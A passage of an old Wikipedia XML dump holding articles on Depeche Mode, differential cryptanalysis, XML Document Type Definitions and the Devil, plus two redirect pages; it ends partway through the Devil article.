2003 saw the release of [[Dave Gahan]]'s solo album, ''[[Paper Monsters]]'', followed by a worldwide tour and a [[DVD]] taken from it, titled ''[[Live Monsters]]''; [[Martin Gore]] continued his solo career with the release of ''[[Counterfeit²]]'' (additional covers of some of Martin's most beloved and influential songs first canonised in his 1989 release ''[[Counterfeit (album)|Counterfeit]]''); and Andrew Fletcher launched his own label, ''[[Toast Hawaii]]'' (the most notable outcome of which has so far been the female synth-pop duo,''[[Client]]''). 

In August, 2004, Mute released the [[DVD]] version of &quot;Devotional,&quot; filmed during their world tour in 1993, and a new remix compilation album ''Remixes 81-04'' that covers some new &amp; unreleased promo mixes of the singles from 1981 to 2004, highlighted with a re-release and new renditions of their timeworn classic ''[[Enjoy the Silence 04|Enjoy the Silence]]''.  The single peaked at #7 in the [[UK]], but did poorly in the [[United States|U.S.]]. On [[October 18]], the Depeche Mode fansite Depechemode.tv ([http://www.depechemode.tv]) took top honours at the BT 2005 Digital Music Awards, further reflecting the enduring popularity of the band.  It was also during this time that Martin, in an interview on [[BBC Radio]]'s Stuart Maconie show on [[September 5]]th, revealed that he was currently going through a divorce.

On [[October 17]], [[2005]], the band released their long awaited 11th studio album ''[[Playing the Angel]]'' to mixed, but mostly positive reviews.  [[Image:dm2005.jpg|right|190px|thumb|Depeche Mode, circa 2005.]]  Produced by [[Ben Hillier]], this top ten hit (peaking at  #1 in several [[European]] countries) featured the hit single &quot;[[Precious (single)|Precious]]&quot;, peaking at #4 in the [[UK]] charts.  The album was backed by the band's first in-store signing since 1990, on the day of release in [[New York City]]. Worthy of note is that this was the first DM album to feature songs written by frontman [[David Gahan]].  Several months prior to its official release, a prototype of the video for &quot;Precious&quot; was leaked onto the internet, resulting in the arrest of a [[Poland|Polish]] citizen.  Meanwhile, the official video was released on [[September 12]] on the Depeche Mode website, www.depechemode.com.  To promote the album, the band launched a five-month worldwide tour in [[November]], taking them to fans in [[North America]] and [[Europe]].  Rumours of an additional leg in the Summer of 2006 have now been confirmed. It will include more European dates, North American dates (Depeche Mode will be the headliners for the 2006 Coachella Valley Music &amp; Arts Festival) and possibly even [[South America]].  The second single from the album, &quot;[[A Pain That I'm Used To]]&quot;, was released on [[December 12]], and the third single from the album will be &quot;[[Suffer Well]]&quot;, the first Depeche Mode single ever to have been written by lead vocalist David Gahan. (To see information on &quot;Touring the Angel&quot; and other Depeche Mode tours, view ''[[Depeche Mode Tours]]'')

According to fan websites, all ten pre-''Playing the Angel'' Depeche Mode albums are set to be re-released with remastered audio and extra tracks in 2006. In addition, there will be a &quot;Best Of&quot; compilation at the end of the year, and a ''Playing the Angel'' live DVD.

To date, Depeche Mode has sold nearly 70.5 million albums worldwide (releasing a new studio album every four years since mid-career), and has cemented their position as one of the most popular recording and live performance artists of all time.

Also in 2006, they have announced that their upcoming single release &quot;Suffer Well&quot; will also be sung in Simlish as it is featured on The Sims 2 &quot;Open For Business&quot; PC game soundtrack along with accompanying video (the group featured as Sims).  Of course, the conventional video and single will be done in English.  They join other 80's Techno stars, Kajagoogoo and Howard Jones in the PC game as musical contributors with their performances in Simlish.

===Live supporting musicians===

*Hildia Campbell (Backing [[vocals|vocals]],  1993 - 1994)
*Samantha Smith (Backing [[vocals|vocals]],  1993 - 1994)
*[[Daryl Bamonte]] ([[Keyboard instrument|keyboards]], 1994)
*Dave Clayton ([[Keyboard instrument|keyboards]], 1997)
*[[Christian Eigner]] ([[drums]], recent songwriting, 1997 - present)
*[[Peter Gordeno]] ([[Keyboard instrument|keyboards]], occasional [[bass guitar|bass]], 1998 - present)
*Jordan Bailey (Backing [[vocals|vocals]], 1998 - 2001)
*Janet Ramus (Backing [[vocals|vocals]],  1998)
*Georgia Lewis (Backing [[vocals|vocals]],  2001)

==Discography==
:Main article: ''[[Depeche Mode discography]]''
[[Image:DepecheModeSOFADera.jpg|frame|right|The band members of Depeche Mode, circa 1993]]

==See also==
* [[Depeche Mode Tours]]
* [[:Category:Depeche Mode videos|Depeche Mode videos]]
* [[Martin Gore#Depeche Mode songs with Martin on lead vocals|Depeche Mode songs with Martin Gore on lead vocals]]
* [[List of Rock Instrumentals#Depeche Mode|Depeche Mode instrumentals]]
* [[Best selling music artists]] - World's top selling music artists chart.
*[[List of number-one dance hits (United States)]]
*[[List of artists who reached number one on the US Dance chart]]

== References ==
* [http://www.depechemode.com/ The official Depeche Mode website]
* [http://www.depeche-mode.com/ Empty World 3]
* [http://www.depechemodeforum.com/ depechemodeforum.com]
* [http://www.clipland.com/Search?Where=mvd-all&amp;What=depeche+mode List of Music Videos]

== External links ==
* [http://www.depechemode.com/ The official Depeche Mode website]
* [http://www.davegahan.com/ Dave Gahan's ''Paper Monsters'' website]
* [http://www.martingore.com/ Martin Gore's ''Counterfeit²'' website]
* [http://archives.depechemode.com/lyrics/ Depeche Mode lyrics]
* [http://www.depechemode.sk/ Depeche Mode Sk/Cz - A Slovak Depeche Mode website]
* [http://www.depechemodeforum.com/ depechemodeforum.com, the international fanforum]
* [http://www.modefan.com/ modefan.com - for the fans, by the fans]
* [http://www.depechemode.gr/ Official Greek website]
* [http://www.depechemode.de/ Official German website]
* [http://depechemode.extra.hu/ DeMo (Hungarian Depeche Mode archives - English/Magyar)]
* [http://www.violator.it/ 'violator dot it' Depeche Mode Website for excited devotes]
* [http://www.depeche-mode.ru/ Unofficial Russian Depeche Mode Site]
* [http://www.depechemode.ru/ Some Great Pages / Russian Depeche Mode Site]
* [http://www.depechemode.ro/ Depeche Mode Romania - Fan Club For The Masses]
* [http://www.depechemode.dk/ Fan Danish Depeche Mode site]
* [http://music-city.org/discography.php?artist=Depeche+Mode General information about Depeche Mode music, news and forum]
* [http://www.depmod.com/ depmod.com The Most comprehensive DM discography on the net, with collector's forum]
* [http://www.sacreddm.net/ Sacred DM - the online Depeche Mode archive (400+ articles and interviews 1981- )]
* [http://www.hellenicviolation.tk/ Hellenic Violation ◊ A Greek Depeche Mode site]
* [http://www.depeche-mode.com/ Empty World 3]
* [http://www.depeche-mode.org/ Bulgarian Depeche Mode Fan Site]
* [http://www.depechemodeitalia.com/ Depeche Mode Italian Fansite]
* [http://www.devotional.tk/ Greek Depeche Mode tribute]
* [http://www.depechemode.cz/ Czech Depeche mode website]
* [http://www.depeche-mode-world.de/ depeche-mode-world.de]
* [http://www.my-personal-mode.com/ Personal Depeche Mode &gt; a malaysian violation]
* [http://dmoz.org/Arts/Music/Bands_and_Artists/D/Depeche_Mode/ DMoz.org category on Depeche Mode]
* [http://depeche-mode.ru/index.php?chapter=band&amp;topic=history The band history in Russian]
* [http://www.erasure.se/Depechemode - A Swedish Fan Site!]
* [http://www.depechemode.pl - DMPL - Depeche Mode Website from Poland]
* [http://www.depechemode.tv/ Depechemode.tv - The Blackest Celebration on the Planet]
* [http://www.depechemodetr.com/ Depeche Mode Türkiye / Turkish Depeche Mode Portal]
* [http://www.playingtheangel.com/ Playing The Angel dot com - Depeche Mode collaborative Fan site - reviews, data bank articles and more]
* [http://forum.modecelebration.com/ Modecelebration - Depeche Mode french forum]
* [http://www.depechemode-forum.pl/ Polskie Forum Depeche Mode / Polish Depeche Mode Fans Forum] 
* [http://www.fanseiten.biz/Musik/Bands-Interpreten/Depeche_Mode/ Directory with German Fansites about Depeche Mode]
* [http://www.depechemode.lv/ Latvian Depeche Mode Fan Site]  


[[Category:Rock music groups]]
[[Category:Electronic music groups]]
[[Category:Goth]]
[[Category:House music groups]]
[[Category:Rhythmic Top 40 acts|Depeche Mode]]
[[Category:Alternative musical groups]]
[[Category:New Wave groups]]
[[Category:Synth pop]]
[[Category:Synth rock]]
[[Category:Post-punk]]
[[Category:English musical groups]]
[[Category:1980s music groups]]
[[Category:1990s music groups]]
[[Category:2000s music groups]]

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[[he:דפש מוד]]
[[lt:Depeche Mode]]
[[hu:Depeche Mode]]
[[nl:Depeche Mode]]
[[ja:デペッシュ・モード]]
[[no:Depeche Mode]]
[[pl:Depeche Mode]]
[[pt:Depeche Mode]]
[[ro:Depeche Mode]]
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[[tr:Depeche Mode]]</text>
    </revision>
  </page>
  <page>
    <title>Discordian</title>
    <id>8535</id>
    <revision>
      <id>15906519</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Discordianism]]
</text>
    </revision>
  </page>
  <page>
    <title>Differential cryptanalysis</title>
    <id>8536</id>
    <revision>
      <id>36631552</id>
      <timestamp>2006-01-25T11:50:37Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.199.202.97|203.199.202.97]] ([[User talk:203.199.202.97|talk]]) to last version by Matt Crypto</comment>
      <text xml:space="preserve">'''Differential cryptanalysis''' is a general form of [[cryptanalysis]] applicable primarily to [[block cipher]]s, but also to [[stream cipher]]s and [[cryptographic hash function]]s. In the broadest sense, it is the study of how differences in an [[input]] can affect the resultant difference at the [[output]]. In the case of a block cipher, it refers to a set of techniques for tracing differences through the network of transformations, discovering where the [[cipher]] exhibits non-[[randomness|random]] behaviour, and exploiting such properties to recover the secret [[key (cryptography)|key]].

==Origins of differential cryptanalysis==
The discovery of differential cryptanalysis is generally attributed to [[Eli Biham]] and [[Adi Shamir]] in the late [[1980]]s, who published a number of attacks against various block ciphers and hash functions, including a theoretical weakness in the [[Data Encryption Standard]] (DES). It was noted that DES is surprisingly resilient to differential cryptanalysis, in the sense that even small modifications make it much more susceptible; this suggested that the designers at [[IBM]] knew of this in the [[1970s]]. Indeed, parties involved in the creation of [[Data Encryption Standard]] have since admitted that defending against differential cryptanalysis was a design goal ([[Don Coppersmith]], 1994). It would appear that the [[National Security Agency]] (NSA), who also had some input into the design, were well aware of the technique before its rediscovery at IBM, and did not want the attack to become public knowledge; this was the reason the design process was kept secret. Within IBM, differential cryptanalysis was known as the &quot;T-attack&quot;, or &quot;Tickling attack&quot; [http://groups.google.com/groups?selm=4v0jrv%24kf%40ground.cs.columbia.edu]. 

While DES was designed with resistance to differential cryptanalysis in mind, other contemporary ciphers proved to be vulnerable. An early target for the attack was the [[FEAL]] block cipher. The original proposed version with four rounds (FEAL-4) can be broken using only eight [[Chosen-plaintext attack|chosen plaintext]]s, and  even a 31-round version of FEAL is susceptible to the attack.

==A description of the attack==
Differential cryptanalysis is usually a [[chosen plaintext attack]], meaning that the attacker must be able to obtain encrypted [[Encryption|ciphertext]]s for some set of [[plaintext]]s of his choosing. The scheme can successfully cryptanalyze DES with an effort on the order 2&lt;sup&gt;47&lt;/sup&gt; chosen plaintexts. There are, however, extensions that would allow a [[known plaintext attack|known plaintext]] or even a [[ciphertext-only attack]]. The basic method uses pairs of plaintext related by a constant ''difference''; [[Subtraction|difference]] can be defined in several ways, but the [[Exclusive or|eXclusive OR (XOR)]] operation is usual. The attacker then computes the differences of the corresponding ciphertexts, hoping to detect statistical patterns in their distribution. In the basic attack, one particular ciphertext difference is expected to be especially frequent; in this way, the [[cipher]] can be distinguished from [[randomness|random]]. More sophisticated variations allow the key to be recovered faster than [[Brute force attack|exhaustive search]].

For any particular cipher, the input difference must be carefully selected if the attack is to be successful. An analysis of the algorithm's internals is undertaken; the standard method is to trace a path of highly probable differences through the various stages of encryption, termed a ''differential characteristic''.

Since differential cryptanalysis became public knowledge, it has become a basic concern of cipher designers. New designs are expected to be accompanied by evidence that the algorithm is resistant to this attack, and many, including the [[Advanced Encryption Standard]], have been [[Mathematical proof|proved]] to be secure against the attack.

==Specialized types==
*[[Higher order differential cryptanalysis]]
*[[Impossible differential cryptanalysis]]
*[[Boomerang attack]]

==See also==
*[[Cryptography]]
*[[Linear cryptanalysis]]

==References==
* Eli Biham, Adi Shamir, Differential Cryptanalysis of the Data Encryption Standard, Springer Verlag, 1993. ISBN 0-387-97930-1, ISBN 3-540-97930-1.
*  Biham, E. and A. Shamir. (1990). Differential Cryptanalysis of DES-like Cryptosystems. Advances in Cryptology &amp;mdash; CRYPTO '90.  Springer-Verlag. 2&amp;ndash;21.
*  Eli Biham, Adi Shamir,&quot;Differential Cryptanalysis of the Full 16-Round DES,&quot; CS 708, Proceedings of CRYPTO '92, Volume 740 of Lecture Notes in Computer Science, December 1991.
http://www.cs.technion.ac.il/users/wwwb/cgi-bin/tr-get.cgi/1991/CS/CS0708.ps
* Coppersmith, Don. (1994). The data encryption standard (DES) and its strength against attacks. ''IBM Journal of Research and Development'', '''38'''(3), 243&amp;ndash;250. [http://www.research.ibm.com/journal/rd/383/coppersmith.pdf]

== External links ==
* [http://www.engr.mun.ca/~howard/Research/Papers/ldc_tutorial.html A tutorial on differential (and linear) cryptanalysis]
* [http://www.cs.ut.ee/~helger/crypto/link/block/dc.php Helger Lipmaa's links on differential cryptanalysis]
* [http://home.earthlink.net/~mylnir/desdoc.html A description of the attack applied to DES]

{{Block_ciphers}}
[[Category:Cryptographic attacks]]

[[de:Differentielle Kryptoanalyse]]
[[fr:Cryptanalyse différentielle]]
[[pl:Kryptoanaliza r&amp;#243;&amp;#380;nicowa]]</text>
    </revision>
  </page>
  <page>
    <title>Document Type Definition</title>
    <id>8537</id>
    <revision>
      <id>41593549</id>
      <timestamp>2006-02-28T10:32:55Z</timestamp>
      <contributor>
        <ip>85.18.59.45</ip>
      </contributor>
      <comment>/* DTD criticisms and alternatives */</comment>
      <text xml:space="preserve">'''[[Document Type Definition]]''' ('''DTD'''), defined slightly differently within the [[XML]] and [[Standard Generalized Markup Language|SGML]] specifications, is one of several SGML and [[XML schema]] languages, and is also the term used to describe a document or portion thereof that is authored in the DTD language. A DTD is primarily used for the expression of a schema via a set of declarations that conform to a particular [[markup]] syntax and that describe a class, or ''type'', of SGML or XML documents, in terms of constraints on the structure of those documents. A DTD may also declare constructs that are not always required to establish document structure, but that may affect the interpretation of some documents.

While DTD is native to the SGML and XML specifications, its capabilities are somewhat limited compared to more modern schema languages such as [[XML Schema]] and [[RELAX NG]].

As an expression of a schema, a DTD specifies, in effect, the syntax of an &quot;application&quot; of SGML or XML, such as the derivative language [[HTML]] or [[XHTML]]. This syntax is usually a less general form of the syntax of SGML or XML.

In a DTD, the structure of a class of documents is described via element and attribute-list declarations. Element declarations name the allowable set of elements within the document, and specify whether and how declared elements and runs of character data may be contained within each element. Attribute-list declarations name the allowable set of attributes for each declared element, including the [[data type|type]] of each attribute value, if not an explicit set of valid value(s).

==Associating DTDs with documents==

A DTD is associated with a particular document via a [[Document Type Declaration]], which is a bit of markup that appears near the start of the associated document. The declaration establishes that the document is an instance of the type defined by the referenced DTD.

The declarations in a DTD are divided into an ''internal subset'' and an ''external subset''. The declarations in the internal subset are embedded in the Document Type Declaration in the document itself. The declarations in the external subset are located in a separate text file. The external subset may be referenced via a ''[[public identifier]]'' and/or a ''[[system identifier]]''. Programs for reading documents may not be required to read the external subset.

===Examples===

Here is an example of a Document Type Declaration containing both public and system identifiers:

&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;&lt;/code&gt;

Here is an example of a Document Type Declaration that encapsulates an internal subset consisting of a single entity declaration:

&lt;code&gt;&amp;lt;!DOCTYPE foo [ &lt;!ENTITY greeting &quot;hello&quot;&gt; ]&gt;&lt;/code&gt;

All HTML 4.01 documents are expected to conform to one of three SGML DTDs. The public identifiers of these DTDs are constant and are as follows:

* &lt;code&gt;[http://www.w3.org/TR/html4/strict.dtd -//W3C//DTD HTML 4.01//EN]&lt;/code&gt;
* &lt;code&gt;[http://www.w3.org/TR/html4/loose.dtd -//W3C//DTD HTML 4.01 Transitional//EN]&lt;/code&gt;
* &lt;code&gt;[http://www.w3.org/TR/html4/frameset.dtd -//W3C//DTD HTML 4.01 Frameset//EN]&lt;/code&gt;

The system identifiers of these DTDs, if present in the Document Type Declaration, will be [[Uniform Resource Identifier|URI reference]]s. System identifiers can vary, but are expected to point to a specific set of declarations in a resolvable location. SGML allows for public identifiers to be mapped to system identifiers in ''catalogs'' that are optionally made available to the URI resolvers used by document parsing software.

==XML DTDs and schema validation==

The XML DTD syntax is one of several [[XML schema]] languages.

A common misconception is that non-validating XML parsers are not required to read DTDs, when in fact, the DTD must still be scanned for correct syntax as well as for declarations of entities and default attributes. A non-validating parser may, however, elect not to read ''external entities'', including the external subset of the DTD. If the XML document depends on declarations found only in external entities, it should assert &lt;code&gt;standalone=&quot;no&quot;&lt;/code&gt; in its [[XML declaration]].

===Differences between SGML and DTD syntax===

The syntax of SGML and XML DTDs are very similar, but not identical.

* The [http://www.w3.org/TR/REC-html40/HTML4.decl SGML declaration for HTML 4.01], for example, allows its [http://www.w3.org/TR/html4/sgml/dtd.html DTD] to specify whether elements require start and end tags, which would be impossible in an XML DTD.  Consider the following element declaration for [[HTML 4.01]]:&lt;br/&gt;&lt;code&gt;&lt;!ELEMENT [[BR]] - O EMPTY                 -- forced line break &lt;nowiki&gt;--&gt;&lt;/nowiki&gt;&lt;/code&gt;&lt;br/&gt;The &lt;code&gt;-&lt;/code&gt; after the element name &quot;BR&quot; means a start tag, &lt;code&gt;&amp;lt;BR&amp;gt;&lt;/code&gt;, is required and the &lt;code&gt;O&lt;/code&gt; after that makes the end tag, &lt;code&gt;&amp;lt;/BR&amp;gt;&lt;/code&gt; optional (in fact, [http://www.w3.org/TR/REC-html40/struct/text.html#edef-BR the W3C recommendation] forbids the end tag).  On the other hand, XML languages share [http://www.w3.org/TR/NOTE-sgml-xml-971215 a common SGML declaration], one that simplifies the DTD syntax but disallows any tag omission (XML itself also prohibits comments within the declaration such as &lt;code&gt;-- forced line break --&lt;/code&gt;). Thus, the [http://www.w3.org/TR/xhtml1/dtds.html#a_dtd_XHTML-1.0-Strict XHTML 1.0 specification] which specifies an XML-based version of HTML, only allows for&lt;br/&gt;&lt;code&gt;&lt;!ELEMENT br EMPTY&gt;&lt;/code&gt;&lt;br/&gt;and the element must be written as either &lt;code&gt;&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;/code&gt; or in a special shortened format as &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;.  In addition, XML element tags are [[case-sensitive]], so the HTML &lt;code&gt;BR&lt;/code&gt; element [http://www.w3.org/TR/xhtml1/#h-4.2 '''must''' be written in lowercase in XHTML] as defined above (&lt;code&gt;br&lt;/code&gt;).

* Element declarations in XML cannot exclude other elements.  For example, in HTML,&lt;br/&gt;&lt;code&gt;&lt;!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form &lt;nowiki&gt;--&gt;&lt;/nowiki&gt;&lt;/code&gt;&lt;br/&gt;defines a &lt;code&gt;FORM&lt;/code&gt; element that includes certain elements (with an SGML [[entity]]) but, due to the &lt;code&gt;-(FORM)&lt;/code&gt; part, cannot include other &lt;code&gt;FORM&lt;/code&gt;s. In XHTML the &lt;code&gt;FORM&lt;/code&gt; is thus defined as&lt;br/&gt;&lt;code&gt;&lt;!ELEMENT form %form.content;&gt;&lt;/code&gt;&lt;br/&gt;which simply includes certain elements.
{{section-stub}}

==XML DTD Example==

An example of a very simple XML DTD to describe a list of persons is given below:

 &lt;!ELEMENT people_list (person*)&gt;
 &lt;!ELEMENT person (name, birthdate?, gender?, socialsecuritynumber?)&gt;
 &lt;!ELEMENT name (#PCDATA) &gt;
 &lt;!ELEMENT birthdate (#PCDATA) &gt;
 &lt;!ELEMENT gender (#PCDATA) &gt;
 &lt;!ELEMENT socialsecuritynumber (#PCDATA) &gt;

Taking this line by line, it says:
# A '''&quot;people_list&quot;''' element contains any number of '''&quot;person&quot;''' elements. The '''&quot;*&quot;''' denotes there can be 0 or more '''&quot;person&quot;''' elements within the '''&quot;people_list&quot;''' element.
# A '''&quot;person&quot;''' element contains the elements '''&quot;name&quot;''', '''&quot;birthdate&quot;''', '''&quot;gender&quot;''' and '''&quot;socialsecuritynumber&quot;'''. The '''&quot;?&quot;''' indicates that an element is optional. The '''&quot;name&quot;''' element does not have a '''&quot;?&quot;''', so a '''&quot;person&quot;''' element ''must'' contain a '''&quot;name&quot;''' element.
# A '''&quot;name&quot;''' element contains data.
# A '''&quot;birthdate&quot;''' element contains data.
# A '''&quot;gender&quot;''' element contains data.
# A '''&quot;socialsecuritynumber&quot;''' element contains data.

An example of an XML file which makes use of and conforms to this DTD follows. It assumes the DTD is identifiable by the relative URI reference &quot;example.dtd&quot;:

 &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
 &lt;!DOCTYPE people_list SYSTEM &quot;example.dtd&quot;&gt;
 &lt;people_list&gt;
   &lt;person&gt;
     &lt;name&gt;Fred Bloggs&lt;/name&gt;
     &lt;birthdate&gt;27/11/2008&lt;/birthdate&gt;
     &lt;gender&gt;Male&lt;/gender&gt;
   &lt;/person&gt;
 &lt;/people_list&gt;

It is possible to [[render]] this in an XML-enabled [[web browser|browser]] (such as [[Internet Explorer|IE5]] or [[Mozilla]]) by pasting and saving the DTD component above to a text file named ''example.dtd'' and the XML file to a differently-named text file, and opening the XML file with the browser. The files should both be saved in the same directory. However, many browsers do not check that an XML document conforms to the rules in the DTD; they are only required to check that the DTD is syntactically correct. For security reasons, they may also choose not to read the external DTD.

==DTD criticisms and alternatives==

While DTD support in XML tools is widespread due to its inclusion in the XML 1.0 standard, it is seen as limited for the following reasons:

* No support for newer features of XML &amp;mdash; most importantly, namespaces.
* Lack of expressivity. Certain formal aspects of an XML document cannot be captured in a DTD.
* Custom non-XML syntax to describe the schema, inherited from SGML. (namely 'Extended Backus Naur Form')

Three newer XML schema languages that are much more powerful are increasingly favored over DTDs:

*[[XML Schema]], also referred to as [[XML Schema Definition]] (XSD), has achieved Recommendation status within the W3C.
*[[RELAX NG]], which is also a part of [[DSDL]], is an ISO international standard.
*[[Document Structure Description]] (DSD), the most expressive of all major schema languages, yet very easy to use.

== See also ==
* [[Document Type Declaration]]
* [[Semantic Web]]

== External links ==
* [http://xml.silmaril.ie/ The XML FAQ] has some DTD-specific entries
* [http://www.w3schools.com/dtd/default.asp DTD Tutorial from W3schools]
* [http://www.zvon.org/xxl/DTDTutorial/General/book.html Zvon DTD Tutorial] - in 7 languages
* [http://www.editix.com DTD Editor]
* [http://xmlzoo.net/xml/dtd Interactive DTD tutorial] from XMLzoo
* [http://gutfeldt.ch/matthias/articles/doctypeswitch/table.html Different doctypes for HTML]
* [http://www.xmlpatterns.com/ XMLPatterns.com - Design Patterns for developing DTDs]

[[Category:XML-based standards]]

[[de:Dokumenttypdefinition]]
[[es:DTD]]
[[eo:Dokumento-Speco-Difino]]
[[fr:Document Type Definition]]
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[[zh:文件类型描述]]</text>
    </revision>
  </page>
  <page>
    <title>Dail</title>
    <id>8538</id>
    <revision>
      <id>15906522</id>
      <timestamp>2002-11-26T09:13:09Z</timestamp>
      <contributor>
        <ip>66.167.130.30</ip>
      </contributor>
      <minor />
      <comment>Snap redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Dáil Éireann]]</text>
    </revision>
  </page>
  <page>
    <title>Devil</title>
    <id>8539</id>
    <revision>
      <id>41991464</id>
      <timestamp>2006-03-03T02:11:17Z</timestamp>
      <contributor>
        <username>Splash</username>
        <id>285145</id>
      </contributor>
      <comment>unsprot: plenty long enough to rid us of a vandal</comment>
      <text xml:space="preserve">Many scholars believe humanity was first introduced to [[angel]]ology as well as '''The Devil''' and [[demonology]],  by the Iranian (Persian) prophet [[Zoroaster]], that would later single-handedly influence [[Judeo-Christian]] beliefs.  This is discussed in more detail below.

'''The Devil''' is the name given to a [[supernatural]] entity, who, in most [[Western culture|Western]] [[religion]]s, is the central embodiment of [[evil]]. This entity is commonly referred to by a variety of other names, including [[Satan]], [[Asmodai]], [[Beelzebub]], [[Lucifer]] and/or [[Mephistopheles]]. In classic [[demonology]], however, each of these alternate names refers to a specific supernatural entity, and there is significant disagreement as to whether any of these specific entities is actually evil.

The [[English language|English]] word ''devil'' derives from the [[Middle English]] ''devel'', from [[Old English]] ''dēofol'', from Latin ''Diábolus'', from Late Greek ''Diabolos'', meaning, '''slanderer''', from ''diaballein'', to slander: ''dia-'', across + ''ballein'', to hurl. The term ''devil'' can refer to a greater [[demon]] in the hierarchy of [[Hell]]. 
In other languages ''devil'' may be derived from the same [[Indo-European]] root word for ''deva'', which roughly translates as &quot;[[angel]]&quot;. However, a &quot;deva&quot; or &quot;diva&quot; is not a devil.

[[Image:raising-the-devil.jpg|thumb|200px|right|Raising the devil]]
As mentioned on the first paragraph, some scholars believe that the notion of a central supernatural embodiment of evil, as well as the notion of angels, first arose in Western [[monotheism]] when [[Judaism]] came into contact with the Persian religion of [[Zoroastrianism]]. Much like classical monotheism, Zoroastrianism has one supreme [[God]], and an evil spirit who ''chose'' to be evil, locked in a cosmic struggle where both are more or less evenly matched, though from the beginning [[Ahura Mazda]]'s triumph is foretold; making Zoroastrianism an ''ethical dualism''. Ahura Mazda (&quot;Wise Lord&quot;), also later known as [[Ormazd]] in [[Middle Persian]], is the God of light, or Truth, and [[Angra Mainyu]] (&quot;Evil Spirit&quot;), also later known as [[Ahriman]] in Middle Persian, is the primeval Spirit of darkness, or the Lie. In a final battle between the forces of good and evil, human [[soul]]s will be judged in a fiery ordeal of molten metal where the good will pass through as if it were warm milk and  those who chose evil will be purified and all will be reunited in the new perfected world. Accordingly, humans are urged to align themselves with Ormazd and his [[Yazata]]s  (&quot;angels&quot;) and to shun His adversary who is the ruler of darkness and his demons, so that they may facilitate the final renovation (Frashō-kereti).

[[Christianity]] views Satan as an angel cast from heaven by [[God]], who was prideful, deceitful, and the tempter: all strikingly similar to the story of [[Ahriman]].

==Concept of the devil in world religions==

===Christianity===
[[Christianity]] understands the Devil in the context of the [[Old Testament]].  Unlike [[Manichaeism]] which teaches a coeval [[dualism]], Christians see the devil as a corrupted or [[fallen angel]].  He was [[Lucifer]], an angel in authority before the [[Creation (theology)|Creation]] who fell because of pride and because he waged a war against [[God]].  ''The key fact in understanding the devil is that he was originally a holy being who was corrupted by [[pride]]''.


[[Thomas Aquinas]], in his ''[[Summa Theologiae]]'', said:

&lt;blockquote&gt;&quot;An angel or any other rational creature considered in his own nature, can sin; and to whatever creature it belongs not to sin, such creature has it as a gift of grace, and not from the condition of nature. The reason of this is, because ''sinning is nothing else than a deviation from that rectitude which an act ought to have''; whether we speak of sin in nature, art, or morals. That act alone, the rule of which is the very virtue of the agent, can never fall short of rectitude. Were the craftsman's hand the rule itself engraving, he could not engrave the wood otherwise than rightly; but if the rightness of engraving be judged by another rule, then the engraving may be right or faulty.&quot; (ST I.63.1, italics added)&lt;/blockquote&gt;

Commonly-quoted [[Bible]]-texts are:

&lt;blockquote&gt;The grave below is all astir to meet you at your coming; it rouses the spirits of the departed to greet you &amp;mdash;    all those who were leaders in the world; it makes them rise from their thrones &amp;mdash; all those who were kings over the nations.

They will all respond, they will say to you, &quot;You also have become weak, as we are; you have become like us.&quot;

All your pomp has been brought down to the grave, along with the noise of your harps; maggots are spread out beneath you and worms cover you.

How you have fallen from heaven, O morning star, son of the dawn! You have been cast down to the earth, you who once laid low the nations!

You said in your heart, &quot;I will ascend to heaven; I will raise my throne above the stars of God; I will sit enthroned on the mount of assembly, on the utmost heights of the sacred mountain.

I will ascend above the tops of the clouds; I will make myself like the Most High.&quot;

But you are brought down to the grave, to the depths of the pit.

Those who see you stare at you, they ponder your fate: &quot;Is this the man who shook the earth and made kingdoms tremble, the man who made the world a desert, who overthrew its cities and would not let his captives go home?&quot; ({{bibleverse||Isaiah|14:9-17|NIV}} - this is commonly held to be a [[dual prophecy]] about the King of [[Babylon]] and Satan)&lt;/blockquote&gt;

&lt;blockquote&gt;&quot;And there was war in heaven. Michael and his angels fought against the dragon, and the dragon and his angels fought back. But he was not strong enough, and they lost their place in heaven. The great dragon was hurled down &amp;mdash; that ancient serpent called the devil, or Satan, who leads the whole world astray. He was hurled to the earth, and his angels with him.&quot; ({{bibleverse||Revelation|12:7-9|NIV}})&lt;/blockquote&gt;

The [[epic poetry|epic]] poem by [[John Milton]], ''[[Paradise Lost]]'', has a stylized depiction of the devil that influenced [[C. S. Lewis]] (''[[The Screwtape Letters]]'' and ''[[Space Trilogy]]''), and the [[J. R. R. Tolkien]] characters [[Melkor]] and [[Sauron]].

===Islam===
{{main|Iblis}}
In Islam the Devil is referred to as [[Iblis]], also called the [[Shaitan]] (a word referring to evil devil-like beings). According to the [[Qur'an]], God (called [[Allah]] in Islam) created the Devil out of &quot;smokeless fire&quot;, while he created man out of clay. The primary characteristic of the Devil, besides [[hubris]], is that he has no power other than the power to cast evil suggestions into the heart of men. 

According to the verses of the Qur’an, the Devil's mission until the [[Qiyamah]] or Resurrection Day (''yaum-ul-qiyama'') is to deceive Adam's children (mankind). After that, he will be put into the fires of Hell along with those whom he has deceived. The Devil is also referred to as one of the Djinns (genies), as they are all created from the smokeless fires. The Qur'an does not depict ''Shaitan'' as the enemy of Allah, for Allah is supreme over all his creations and Iblis is just one of his creations. Unlike the Zoroastrian beliefs, all good and bad deeds are from Allah himself and only he can save humanity from the evils of his universe and his creations. Shaitan's single enemy is humanity. He intends to discourage humans from obeying God. Thus, humankind is warned to struggle (&lt;i&gt;jihad&lt;/i&gt;) against the mischiefs of the Shaitan and temptations he puts them in. The ones who succeed in this are rewarded with Paradise (&lt;i&gt;jannath ul firdaus&lt;/i&gt;), attainable only by righteous conduct.

